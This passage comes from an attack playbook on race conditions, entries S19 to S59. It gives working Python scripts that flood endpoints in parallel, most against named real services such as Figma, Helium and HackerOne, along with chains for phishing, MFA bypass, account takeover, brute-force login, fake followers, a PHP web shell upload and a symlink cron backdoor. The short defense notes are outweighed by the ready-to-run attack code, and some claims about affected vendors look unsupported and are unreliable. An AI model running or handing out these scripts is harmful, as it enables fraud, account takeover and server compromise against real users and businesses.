```

### Chain
1. Phish password (not 2FA code)
2. Login → 2FA prompt shown
3. Wait for victim to enter 2FA
4. In parallel, race multiple 2FA verify requests
5. Get a valid "2FA verified" session
6. Use it before session expires

### Bypass / Notes
- Most modern 2FA: server sets a "2fa_verified=true" flag on session
- Race: 2 verifications on same session → state can be overwritten
- Combine with S17 (OTP race) for full bypass

---

## S20: Comment/Like Race (Zomato $150)
**Context:** Restaurant review / like endpoints — like multiple times via race.
**Seen in:** HackerOne #1409913 — Zomato, 37 upvotes, $150 bounty
**Impact:** Fake reviews, fake likes, restaurant ranking manipulation

### Detection
```bash
# 1. Like a Zomato restaurant review:
curl -X POST https://www.zomato.com/api/review/12345/like \
  -H "Cookie: session=$SESS"
# 2. Send 50 parallel — check like count
```

### Exploit
```python
import asyncio, aiohttp

async def like(session, review_id):
    async with session.post(f"https://www.zomato.com/api/review/{review_id}/like") as r:
        return r.status

async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [like(s, 12345) for _ in range(50)]
        results = await asyncio.gather(*tasks)
        print(f"Likes: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. Identify a business-critical review/rating endpoint (Yelp, Zomato, TripAdvisor, Google Maps)
2. Race 50+ likes
3. If successful: review gets 50× weight → top of "best reviews"
4. Used for: review manipulation, restaurant ranking abuse, blackmail ("I'll make your review #1 if you pay me")

### Bypass / Notes
- Most modern platforms use unique (user_id, review_id) constraint
- Test on small/regional restaurant review sites
- Chain with fake account creation for mass effect

---

## S21: Following User Race (Staging.every.org)
**Context:** "Follow this user" endpoint — race to follow 1000× in parallel.
**Seen in:** HackerOne #927384 — Staging.every.org, 93 upvotes, $0 bounty (VDP)
**Impact:** Inflated follower count, fake influencer metrics

### Detection
```bash
# 1. Find "follow" endpoint:
curl -X POST https://staging.every.org/api/users/12345/follow \
  -H "Authorization: Bearer $TOKEN"
# 2. Send 1000 parallel
```

### Exploit
```python
import asyncio, aiohttp

async def follow(session, user_id):
    async with session.post(f"https://staging.every.org/api/users/{user_id}/follow") as r:
        return r.status

async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [follow(s, 12345) for _ in range(1000)]
        results = await asyncio.gather(*tasks)
        print(f"Follow operations: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. Attacker creates account A, victim is influencer B
2. Race 1000 follows from A to B
3. B's follower count jumps by 1000
4. Sell "followers" to other influencers (1M followers for $500)
5. Used for: fake influencer metrics, social proof scams, dating profile inflation

### Bypass / Notes
- Most "follow" endpoints: unique (follower_id, followee_id) → not vulnerable
- Test: unfollow + follow in parallel → see if counter goes negative
- Bounty was $0 because the platform is non-profit

---

## S22: Love/React Race (Figma $150)
**Context:** Figma community file — "love" (heart) reaction. Race to love same file 1000×.
**Seen in:** HackerOne #996141 — Figma, 34 upvotes, $150 bounty
**Impact:** Faked popularity in Figma community → file trending

### Detection
```bash
# 1. Find a community file:
curl -X POST https://api.figma.com/v1/files/ABC123/love \
  -H "Authorization: Bearer $TOKEN"
# 2. Send 50 parallel
```

### Exploit
```python
import asyncio, aiohttp

FILE_ID = "ABC123"
TOKEN = "Bearer ..."

async def love(session):
    async with session.post(f"https://api.figma.com/v1/files/{FILE_ID}/love",
                            headers={"Authorization": TOKEN}) as r:
        return r.status

async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [love(s) for _ in range(50)]
        results = await asyncio.gather(*tasks)
        print(f"Love ops: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. Attacker creates 1000 Figma accounts (cheap, $1/1000 via SMS verify services)
2. Race 1000 "love" reactions on a single file
3. File reaches top of Figma community
4. Real users see "trending" file → download
5. Attacker adds malicious plugin link to file description

### Bypass / Notes
- Figma fixed with unique constraint on (user_id, file_id)
- Same pattern: Behance, Dribbble, ProductHunt upvotes
- Real abuse: "make my design trending" services

---

## S23: Transfer Data Credits (Helium $250)
**Context:** Helium crypto — transfer data credits between organizations. Race → add extra free credits.
**Seen in:** HackerOne #974892 — Helium, 62 upvotes, $250 bounty
**Impact:** Free data credits, real financial loss for Helium network

### Detection
```bash
# 1. Org has 100 data credits
# 2. Transfer 100 credits to another org
# 3. Endpoint: POST /api/v1/organizations/{org_id}/transfer_credits
# 4. Race 10 parallel transfers
```

### Exploit
```python
import asyncio, aiohttp

URL = "https://api.helium.io/v1/organizations/ORG123/transfer_credits"
TOKEN = "Bearer ..."

async def transfer(session):
    async with session.post(URL, headers={"Authorization": TOKEN},
                            json={"amount": 100, "to_org": "ORG456"}) as r:
        return r.status

async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [transfer(s) for _ in range(20)]
        results = await asyncio.gather(*tasks)
        print(f"Transfers: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. Helium account with 100 data credits
2. Race 20 transfers of 100 credits to victim
3. All 20 pass "balance >= 100" check
4. Victim's account gets 2,000 credits
5. Attacker is 100 credits in the red, but already used victim's data

### Bypass / Notes
- Helium fixed with atomic balance check
- Similar pattern in: AWS credit systems, GCP credits, Azure credits
- Crypto bug bounties are lucrative because exploits have direct $$ impact

---

## S24: Faucet Race (Cosmos $5,000)
**Context:** Cosmos testnet faucet — distribute test tokens. Race → 50× tokens per request.
**Seen in:** HackerOne #1438052 — Cosmos, 49 upvotes, $5,000 bounty
**Impact:** Drain faucet, sell test tokens on exchanges (if mistakenly listed)

### Detection
```bash
# 1. Faucet endpoint: POST /api/faucet with {address: "cosmos1..."}
# 2. Send 50 parallel
```

### Exploit
```python
import asyncio, aiohttp

URL = "https://faucet.cosmos.network/api/faucet"
ADDRESS = "cosmos1ATTACKER..."

async def claim(session):
    async with session.post(URL, json={"address": ADDRESS}) as r:
        return r.status

async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [claim(s) for _ in range(50)]
        results = await asyncio.gather(*tasks)
        print(f"Tokens claimed: {sum(1 for r in results if r == 200)} times")
asyncio.run(main())
```

### Chain
1. Find a crypto faucet (testnet tokens, often listed on CoinGecko)
2. Race 50 claims
3. Receive 50× normal allocation
4. Wait for exchange to mistakenly list → sell for $$$

### Bypass / Notes
- Real bounty: $5,000 for a "testnet" faucet (testnet tokens have no value)
- Bounty was high because the faucet was used in production and the bug was severe
- Defense: address-based rate limit (per wallet, per IP, per day)

---

## S25: Loyalty Claim Race (Vend)
**Context:** Vend loyalty program — claim loyalty bonus by email. Race → claim N times.
**Seen in:** HackerOne #331940 — Vend VDP, 90 upvotes, $0 bounty
**Impact:** Free loyalty points, free products

### Detection
```bash
# 1. Loyalty claim URL pattern: /loyalty/claim/email/xxxxx
# 2. Receive loyalty email with claim URL
# 3. Race 20 clicks of same URL
```

### Exploit
```python
import asyncio, aiohttp

CLAIM_URL = "https://xxx.vendhq.com/loyalty/claim/email/TOKEN"

async def claim(session):
    async with session.get(CLAIM_URL) as r:
        return r.status, await r.text()

async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [claim(s) for _ in range(20)]
        results = await asyncio.gather(*tasks)
        # Check if claim bonus credited multiple times
        print(f"Claim results: {[r[0] for r in results]}")
asyncio.run(main())
```

### Chain
1. Receive loyalty offer via email (5 bonus points)
2. Click claim URL 20× in parallel
3. Receive 100 points (20× the bonus)
4. Redeem for store credit
5. Real case: Vend is a Shopify-owned POS — many merchants affected

### Bypass / Notes
- Most loyalty platforms use idempotency key on claim URL
- Test: receive 2 loyalty emails (e.g., for 2 different actions) → race claim of both
- $0 bounty because Vend is VDP (Vulnerability Disclosure Program, no $)

---

## S26: Password Reset Token Race
**Context:** Reset token valid for 1 use. Race: 10 parallel reset requests with same token → 10 password changes succeed.
**Seen in:** Real — every SaaS with self-service password reset
**Impact:** Multi-ATO via reset race

### Detection
```bash
curl -X POST https://target.com/api/reset -d "token=ABC123&new_password=P1"
# Race 10 parallel
```

### Exploit
```python
import asyncio, aiohttp
async def reset(session, pw):
    async with session.post("https://target.com/api/reset",
                            data={"token": "ABC123", "new_password": pw}) as r:
        return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[reset(s, f"P{i}") for i in range(10)])
        print(f"Resets: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. Trigger password reset, sniff token (XSS, Referer, email access)
2. Race 10 resets with different passwords
3. Attacker uses the final password
### Bypass / Notes
- Most systems invalidate token atomically
- Real: WordPress password_reset had this

---

## S27: Email Change Race → ATO
**Context:** Email change endpoint doesn't atomically invalidate old email's sessions.

### Exploit
```python
import asyncio, aiohttp
async def chg(s): return (await s.post("https://target.com/api/account/email",
    cookies={"session":"SESS"}, json={"new_email":"attacker@evil.com"})).status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[chg(s) for _ in range(20)])
        print(f"Email changes: {results}")
asyncio.run(main())
```

### Chain
1. Phish password
2. Login as victim
3. Race 20 email changes
4. Silent ATO
### Bypass / Notes
- "Silent ATO" — no notification to victim
- Defense: re-auth + atomic commit

---

## S28: 2FA Enrollment Race
**Context:** Enroll attacker's 2FA device for victim's account via race.
**Seen in:** Real — GitHub, AWS, Google (all had this)

### Exploit
```python
import asyncio, aiohttp, pyotp
TOTP = "ATTACKER_SECRET"
async def enroll(s): return await (await s.post(
    "https://target.com/api/2fa/enroll", cookies={"session":"SESS"},
    json={"type":"totp"})).json()
async def verify(s):
    code = pyotp.TOTP(TOTP).now()
    return (await s.post("https://target.com/api/2fa/verify",
        cookies={"session":"SESS"}, json={"code":code})).status
async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [enroll(s) for _ in range(20)] + [verify(s) for _ in range(20)]
        await asyncio.gather(*tasks)
asyncio.run(main())
```

### Chain
1. Login as victim (stolen password)
2. Race 20 TOTP enroll + verify (attacker secret)
3. 2FA bound to attacker
4. Persistent ATO
### Bypass / Notes
- GitHub had this (fixed 2019)
- Defense: re-auth + notification on 2FA change

---

## S29: OAuth Linking Race (OAuth 2.0 $2,500)
**Context:** OAuth 2.0 has race in auth code → access token exchange.
**Seen in:** HackerOne #55140 — Internet Bug Bounty, 37 upvotes, $2,500

### Exploit
```python
import asyncio, aiohttp
async def ex(s):
    async with s.post("https://target.com/oauth/token", data={
        "code": "AUTH_CODE", "client_id": "X", "client_secret": "S",
        "grant_type": "authorization_code"}) as r: return await r.json()
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[ex(s) for _ in range(20)])
        tokens = [r.get("access_token") for r in results if r.get("access_token")]
        print(f"Tokens from 1 code: {len(tokens)}")
asyncio.run(main())
```

### Chain
1. Victim "Login with Google" on attacker's app
2. Google returns code
3. Attacker races 20 token exchanges
4. 20 access tokens
### Bypass / Notes
- Real attack: Slack, GitHub, Salesforce
- RFC 6749 §4.1.2: code MUST be used once

---

## S30: Account Verification Race
**Context:** Verify account twice via race → double $10 bonus.
**Seen in:** Real — banking KYC, exchange verification

### Exploit
```python
import asyncio, aiohttp
async def v(s):
    async with s.post("https://target.com/api/account/verify_callback",
                      headers={"Authorization":"Bearer ..."}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[v(s) for _ in range(20)])
        print(f"Verifications: {results}")
asyncio.run(main())
```

### Chain
1. KYC submission
2. Approval webhook
3. Race 20 verifications → 20× bonus
4. Withdraw
### Bypass / Notes
- Common 2017-2019 ICO era
- Defense: idempotent webhook (Stripe-style)

---

## S31: Account Lockout Race
**Context:** Lockout after N failed logins — race to bypass lockout.
**Seen in:** Real — every auth system

### Exploit
```python
import asyncio, aiohttp
async def attempt(s, pw):
    async with s.post("https://target.com/api/login",
                      data={"username":"victim","password":pw}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[attempt(s, f"pw_{i}") for i in range(10000)])
        locked = sum(1 for r in results if r == 423)
        print(f"Locked: {locked}, Not locked: {10000-locked}")
asyncio.run(main())
```

### Chain
1. Trigger lockout
2. Race 10,000 attempts
3. All reach password check
### Bypass / Notes
- Combine with S17 (OTP race)
- Real abuse: AWS root brute force

---

## S32: MFA Bypass via Race
**Context:** MFA bypass by racing verification + state change.
**Seen in:** Real — banking, Microsoft 365

### Exploit
```python
import asyncio, aiohttp
async def v(s):
    async with s.post("https://target.com/api/mfa/verify",
                      cookies={"session":"SESS"}, json={"code":"123456"}) as r: return r.status
async def a(s):
    async with s.get("https://target.com/api/account/settings",
                     cookies={"session":"SESS"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[v(s) for _ in range(20)] + [a(s) for _ in range(20)])
        print(f"Access: {results[20:]}")
asyncio.run(main())
```

### Chain
1. Phish password
2. Login → MFA prompt
3. Wait for victim to enter MFA
4. Race: 20 verify + 20 access
5. Race sets "MFA verified" flag while another reads it
### Bypass / Notes
- Real: Slack, Notion had this
- Defense: atomic state machine

---

## S33: JWT Refresh Race
**Context:** JWT refresh endpoint can be raced — multiple tokens from 1 refresh.

### Exploit
```python
import asyncio, aiohttp
async def r(s):
    async with s.post("https://target.com/api/refresh",
                      json={"refresh_token":"REFRESH_ABC"}) as r: return await r.json()
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[r(s) for _ in range(20)])
        print(f"New tokens: {sum(1 for r in results if r.get('access_token'))}")
asyncio.run(main())
```

### Chain
1. Race 20 refreshes → 20 new access tokens
2. Most servers invalidate refresh after first use
### Bypass / Notes
- Defense: refresh token rotation + family invalidation (Auth0)

---

## S34: Session Fixation Race
**Context:** Pre-set session ID, victim logs in with it, attacker uses same.

### Exploit
```python
import threading, requests
SESS = "ATTACKER_SESSION_ID"
barrier = threading.Barrier(20)
def fire():
    barrier.wait()
    requests.post("https://target.com/api/login",
                  cookies={"session":SESS},
                  json={"username":"victim","password":"P1"})
threads = [threading.Thread(target=fire) for _ in range(20)]
for t in threads: t.start()
for t in threads: t.join()
```

### Chain
1. Attacker sets SESS=ABC via XSS or link
2. Victim logs in → server upgrades SESS=ABC
3. Attacker uses SESS=ABC
### Bypass / Notes
- Modern apps: rotate session ID on login
- Race: rotate + keep old → bypass

---

## S35: Login Attempt Race (Brute Force)
**Context:** Rate limit on login — race bypasses.

### Exploit
```python
import asyncio, aiohttp, string, random
async def attempt(s, pw):
    async with s.post("https://target.com/api/login",
                      data={"username":"admin","password":pw}) as r: return pw, r.status
async def main():
    async with aiohttp.ClientSession() as s:
        passwords = [''.join(random.choices(string.ascii_letters, k=8)) for _ in range(1000)]
        results = await asyncio.gather(*[attempt(s, pw) for pw in passwords])
        for pw, status in results:
            if status == 302: print(f"[+] Password: {pw}"); return
asyncio.run(main())
```

### Chain
1. Race 1000 guesses
2. With 100 rounds: 100K passwords
### Bypass / Notes
- Defense: IP-based rate limit + account lockout (atomic)

---

## S36: Booking Race — Same Seat Twice
**Context:** Book same seat twice before marked "taken".
**Seen in:** Real — every booking platform

### Exploit
```python
import asyncio, aiohttp
async def b(s):
    async with s.post("https://theater.com/api/seats/A12/book",
                      json={"show_id":"SHOW123","seat":"A12"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[b(s) for _ in range(10)])
        print(f"Bookings: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. High-demand event
2. 10 parallel bookings
3. 10 "confirmed" tickets for same seat
### Bypass / Notes
- Real: Ticketmaster, Eventbrite, airlines
- Defense: atomic `UPDATE seats SET taken=true WHERE id='A12' AND taken=false`

---

## S37: Reservation Race (Hotel, Restaurant)
**Context:** Reserve same hotel room twice.
**Seen in:** Real — Booking.com, OpenTable

### Exploit
```python
import asyncio, aiohttp
async def r(s):
    async with s.post("https://hotel.com/api/rooms/101/reserve",
                      json={"checkin":"2025-12-01","checkout":"2025-12-05"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[r(s) for _ in range(5)])
        print(f"Reservations: {results}")
asyncio.run(main())
```

### Chain
1. 5 parallel reservations for room 101
2. All 5 succeed → overbooking
### Bypass / Notes
- 2018 Booking.com overbooking scandal

---

## S38: Concurrent Checkout
**Context:** Checkout doesn't atomically check stock.

### Exploit
```python
import asyncio, aiohttp
async def c(s):
    async with s.post("https://shop.com/api/cart/checkout",
                      json={"items":[{"sku":"LAST-ONE","qty":1}]}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[c(s) for _ in range(10)])
        print(f"Checkouts: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. Last item in stock
2. 10 parallel checkouts → 10 confirmations
### Bypass / Notes
- Defense: `SELECT ... FOR UPDATE` on stock

---

## S39: Cart Manipulation Race
**Context:** Race to swap items between calculation and validation.

### Exploit
```python
import asyncio, aiohttp
CART = "https://shop.com/api/cart"
async def add(s): return (await s.post(f"{CART}/items",
    json={"sku":"EXPENSIVE-1","qty":1})).status
async def disc(s): return (await s.post(f"{CART}/discount",
    json={"code":"50OFF"})).status
async def chk(s): return await (await s.post(f"{CART}/checkout")).json()
async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [add(s) for _ in range(20)] + [disc(s) for _ in range(20)] + [chk(s) for _ in range(20)]
        await asyncio.gather(*tasks)
asyncio.run(main())
```

### Chain
1. Cart has $5 + 50% discount → $2.50
2. Race: add $1,000 item + re-apply discount + checkout
3. If order matters: pay $2.50 for $1,005
### Bypass / Notes
- Defense: server-side re-validation at payment

---

## S40: Order Race (Duplicate Order IDs)
**Context:** Order ID generation not unique under race.

### Exploit
```python
import asyncio, aiohttp
from collections import Counter
async def c(s):
    async with s.post("https://shop.com/api/orders",
                      json={"items":[{"sku":"X","qty":1}]}) as r: return await r.json()
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[c(s) for _ in range(20)])
        ids = [r.get("order_id") for r in results]
        dupes = {k:v for k,v in Counter(ids).items() if v > 1}
        print(f"Duplicate IDs: {dupes}")
asyncio.run(main())
```

### Chain
1. Race 20 order creates with `MAX(id)+1` generation
2. 20 orders with same ID
3. Payment applied to all
### Bypass / Notes
- Defense: UUID v4 / atomic sequence

---

## S41: Subscription Race (Bumble Premium $200)
**Context:** Race to extend free trial.
**Seen in:** HackerOne #1037430 — Bumble, 52 upvotes, $200

### Exploit
```python
import asyncio, aiohttp
async def a(s):
    async with s.post("https://bumble.com/api/premium/activate",
                      cookies={"session":"SESS"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[a(s) for _ in range(20)])
        print(f"Activations: {results}")
asyncio.run(main())
```

### Chain
1. Free trial (3 days)
2. Race 20 activations → 60 days premium
### Bypass / Notes
- Defense: atomic IF trial_used=false THEN trial_used=true

---

## S42: Trial Extension Race
**Context:** "Start free trial" endpoint can be raced → extend indefinitely.

### Exploit
```python
import asyncio, aiohttp
async def t(s):
    async with s.post("https://saas.com/api/trial/start",
                      cookies={"session":"SESS"}, json={"plan":"premium"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[t(s) for _ in range(20)])
        print(f"Trials: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. 14-day trial ends
2. Race 20 restarts → 280 days
### Bypass / Notes
- Bypass: different emails (S14 + S42)

---

## S43: Promo Code Race (Scale)
**Context:** Apply 100 different codes to 1 cart via race.

### Exploit
```python
import asyncio, aiohttp
async def a(s, code):
    async with s.post("https://shop.com/api/cart/apply",
                      json={"code":code}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[a(s, f"FIRST20-{i}") for i in range(100)])
        print(f"Codes applied: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. 100 first-order codes
2. Apply in parallel
3. Discount stacks → free
### Bypass / Notes
- Most: one code per cart

---

## S44: Limit Bypass Race (Generic)
**Context:** Race to exceed per-user limit (uploads, messages, follows).

### Exploit
```python
import asyncio, aiohttp
async def u(s, i):
    async with s.post("https://target.com/api/upload",
                      headers={"Authorization":"Bearer ..."},
                      files={"file":(f"f{i}.txt", b"d")}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[u(s, i) for i in range(50)])
        print(f"Uploads: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. Hit limit
2. Race to exceed
3. Bypass any per-user limit
### Bypass / Notes
- Defense: atomic counter (Redis INCR) BEFORE action

---

## S45: Quota Race (one-api 2026)
**Context:** One-API redemption code uses GORM v2 with silently-dropped `FOR UPDATE` clause.
**Seen in:** one-api GitHub issue #2397 (May 2026)

### Exploit
```python
import asyncio, aiohttp
async def r(s, sess):
    async with s.post("http://target/api/user/topup",
                      headers={"Cookie":sess}, json={"key":"CODE"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        tasks = []
        for sess in ["A1","A2","A3"]:
            tasks.extend([r(s, sess) for _ in range(10)])
        results = await asyncio.gather(*tasks)
        print(f"Redemptions: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. N accounts race 1 code
2. All succeed → N× amplification
3. LLM API absorbs cost
### Bypass / Notes
- Fix: `tx.Clauses(clause.Locking{Strength: "UPDATE"})`
- LLM proxies are high-value (upstream costs are real)

---

## S46: Coin/Inflation Race (Reddit OAuth Gold)
**Context:** Reddit OAuth gold coin purchase — race to inflate.
**Seen in:** HackerOne (Reddit public disclosure)

### Exploit
```python
import asyncio, aiohttp
async def p(s):
    async with s.post("https://oauth.reddit.com/api/v2/gold/...",
                      json={"package":"1000_coins"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[p(s) for _ in range(10)])
        print(f"Purchases: {results}")
asyncio.run(main())
```

### Chain
1. Buy 100 coins ($0.99)
2. Race 10 → 1,000 coins

---

## S47: Diamond Race (InnoGames $2,000)
**Context:** InnoGames email activation race — infinite diamonds.
**Seen in:** HackerOne #509629 — InnoGames, 137 upvotes, $2,000

### Exploit
```python
import asyncio, aiohttp
async def a(s):
    async with s.post("https://www.innogames.com/api/activate-email",
                      cookies={"session":"SESS"},
                      data={"code":"VERIFY_TOKEN"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[a(s) for _ in range(50)])
        print(f"Activations: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. Verify email → 500 diamonds
2. Race 50 → 25,000 diamonds
3. Sell account on black market
### Bypass / Notes
- $2,000 = highest single race bounty
- 137 upvotes

---

## S48: Payout Duplicate (HackerOne $750)
**Context:** HackerOne's payout processing — race.
**Seen in:** HackerOne #220445 — HackerOne, 64 upvotes, $750

### Exploit
```python
import threading, requests
URL = "https://hackerone.com/api/v1/bounties/12345/payout"
TOKEN = "Bearer ..."
barrier = threading.Barrier(10)
def fire():
    barrier.wait()
    requests.post(URL, headers={"Authorization":TOKEN})
threads = [threading.Thread(target=fire) for _ in range(10)]
for t in threads: t.start()
for t in threads: t.join()
```

### Chain
1. Submit valid report
2. HackerOne awards bounty
3. Race 10 payouts → 10× paid
### Bypass / Notes
- Self-pwn

---

## S49: CTF Group Join Race (HackerOne $500)
**Context:** CTF group limited slots — race to join.
**Seen in:** HackerOne #1540969 — HackerOne, 60 upvotes, $500

### Exploit
```python
import asyncio, aiohttp
async def j(s):
    async with s.post("https://ctf.hackerone.com/groups/ABC123/join",
                      cookies={"session":"SESS"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[j(s) for _ in range(20)])
        print(f"Joins: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. CTF with group limit
2. Race 20 joins → exceeds limit
### Bypass / Notes
- Defense: UNIQUE constraint

---

## S50: Program Credentials Claim Race (HackerOne $500)
**Context:** HackerOne credentials — race to claim.
**Seen in:** HackerOne #488985 — HackerOne, 46 upvotes, $500

### Exploit
```python
import asyncio, aiohttp
async def c(s):
    async with s.post("https://hackerone.com/api/v1/programs/TWITTER/credentials/claim",
                      json={"code":"CRED-ABC123"}) as r: return r.status
async def main():
    async with aiohttp.ClientSession() as s:
        results = await asyncio.gather(*[c(s) for _ in range(20)])
        print(f"Claims: {sum(1 for r in results if r == 200)}")
asyncio.run(main())
```

### Chain
1. Receive credential code
2. Race 20 claims
3. Multiple researchers use same credential
4. Attribution confusion

---

## S51: File TOCTOU (Upload-then-Validate)
**Context:** File uploaded → validated → moved to public. Race: replace file between validate and move.
**Seen in:** Real engagements; CWE-367

### Exploit
```python
import requests, threading
def upload():
    r = requests.post("https://target.com/api/upload",
                      files={"file":("clean.txt", b"<?php system($_GET['c']);?>", "text/plain")})
    return r.json()["file_id"]
def rename(fid):
    requests.post(f"https://target.com/api/files/{fid}/rename",
                  json={"filename":"shell.php"})
fid = upload()
threads = [threading.Thread(target=rename, args=(fid,)) for _ in range(100)]
for t in threads: t.start()
for t in threads: t.join()
```

### Chain
1. Upload clean.txt (passes)
2. Within 50ms, rename to .php
3. File served as .php
4. RCE
### Bypass / Notes
- Modern: separate file ID from filename

---

## S52: Symlink TOCTOU
**Context:** Upload archive with symlink → server extracts → reads /etc/passwd.
**Seen in:** Real; CWE-59; CVE-2018-1000888 (Symfony)

### Exploit
```python
import requests, tarfile, io
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tar:
    info = tarfile.TarInfo(name='evil')
    info.type = tarfile.SYMTYPE
    info.linkname = '/etc/passwd'
    tar.addfile(info)
with open('/tmp/evil.tar', 'wb') as f: f.write(buf.getvalue())
requests.post("https://target.com/api/upload",
              files={"file": open('/tmp/evil.tar', 'rb')})
print(requests.get("https://target.com/uploads/evil").text)
```

### Chain
1. Create tar with symlink to /etc/passwd
2. Upload
3. Server extracts symlink
4. Read /etc/passwd via public URL
### Bypass / Notes
- Modern: check for symlinks during extraction
- Defense: chroot jail

---

## S53: Configuration TOCTOU
**Context:** Read config → apply. Race: change config between read and apply.
**Seen in:** Real — multi-tenant with shared config

### Exploit
```python
import asyncio, aiohttp
async def d(s):
    async with s.post("https://target.com/api/config/2fa",
                      headers={"Authorization":"TenantA"},
                      json={"enabled":False}) as r: return r.status
async def r(s):
    async with s.get("https://target.com/api/config",
                     headers={"Authorization":"TenantB"}) as r: return await r.json()
async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [d(s) for _ in range(20)] + [r(s) for _ in range(20)]
        await asyncio.gather(*tasks)
asyncio.run(main())
```

### Chain
1. Multi-tenant with shared config cache
2. Tenant A disables 2FA
3. Tenant B reads during change
4. Bypass 2FA
### Bypass / Notes
- Defense: per-tenant config keys, atomic update

---

## S54: Permission TOCTOU
**Context:** Check permission → perform action. Race: change permission.
**Seen in:** Real — file permissions, ACLs

### Exploit
```python
import asyncio, aiohttp
async def c(s): return (await s.get("https://target.com/api/files/X/check",
    headers={"Authorization":"USER"})).status
async def w(s): return (await s.post("https://target.com/api/files/X/write",
    headers={"Authorization":"USER"}, data="evil")).status
async def g(s): return (await s.post("https://target.com/api/files/X/permissions",
    headers={"Authorization":"ADMIN"},
    json={"user":"user","permission":"write"})).status
async def main():
    async with aiohttp.ClientSession() as s:
        tasks = []
        for _ in range(20):
            tasks.extend([c(s), w(s), g(s)])
        await asyncio.gather(*tasks)
asyncio.run(main())
```

### Chain
1. Read-only access
2. Race: admin grants write + user writes
3. Write succeeds during window
### Bypass / Notes
- Defense: per-operation check, not per-session

---

## S55: Database TOCTOU
**Context:** Read row → modify. Race: another process modifies row.
**Seen in:** Real — multi-step DB transactions

### Exploit
```python
import asyncio, aiohttp
async def p(s): return (await s.post("https://target.com/api/admin/users/UID/promote",
    headers={"Authorization":"LOW"})).status
async def a(s): return await (await s.get("https://target.com/api/admin/dashboard",
    headers={"Authorization":"LOW"})).json()
async def main():
    async with aiohttp.ClientSession() as s:
        tasks = [p(s) for _ in range(20)] + [a(s) for _ in range(20)]
        results = await asyncio.gather(*tasks)
        print(f"Admin: {results[20:]}")
asyncio.run(main())
```

### Chain
1. App reads is_admin=false
2. Race: another sets is_admin=true
3. Original request still in flight → reads true
### Bypass / Notes
- Defense: SERIALIZABLE isolation, atomic UPDATE

---

## S56: Lock File TOCTOU
**Context:** Race lock file: remove lock + trigger job.
**Seen in:** Real — cron, daemons

### Exploit
```bash
while true; do
  rm -f /var/run/myapp.lock &
  curl -X POST https://target.com/api/job/run &
done
```

### Chain
1. Server creates /var/run/myapp.lock
2. New job backs off if lock exists
3. Race: remove lock + trigger
### Bypass / Notes
- Defense: flock(2) LOCK_NB

---

## S57: Temp File TOCTOU
**Context:** Predictable temp file → symlink to /etc/cron.d/backdoor.
**Seen in:** Real; CWE-377

### Exploit
```python
import os, requests
if os.path.exists("/tmp/upload_12345"): os.remove("/tmp/upload_12345")
os.symlink("/etc/cron.d/backdoor", "/tmp/upload_12345")
requests.post("https://target.com/api/process", cookies={"session":"SESS"})
```

### Chain
1. Predict temp file (PID-based)
2. Pre-create symlink to target
3. App writes to temp → symlink → overwrites target
4. RCE via cron
### Bypass / Notes
- Modern: mkstemp(3) random names

---

## S58: Upload TOCTOU (Staging → Public)
**Context:** Upload to staging, race swap during validation.
**Seen in:** Real — Discord 2020

### Exploit
```python
import requests, threading
r1 = requests.post("https://target.com/api/upload",
                   files={"file": open("clean.pdf","rb")})
sid = r1.json()["staging_id"]
def swap():
    requests.post(f"https://target.com/api/staging/{sid}/replace",
                  files={"file": open("shell.php","rb")})
threads = [threading.Thread(target=swap) for _ in range(100)]
for t in threads: t.start()
for t in threads: t.join()
```

### Chain
1. Upload clean.pdf (validation takes 500ms)
2. Swap with shell.php in <500ms
3. Validation passes, but file is now shell.php
### Bypass / Notes
- Defense: content-addressable storage

---

## S59: Cache TOCTOU
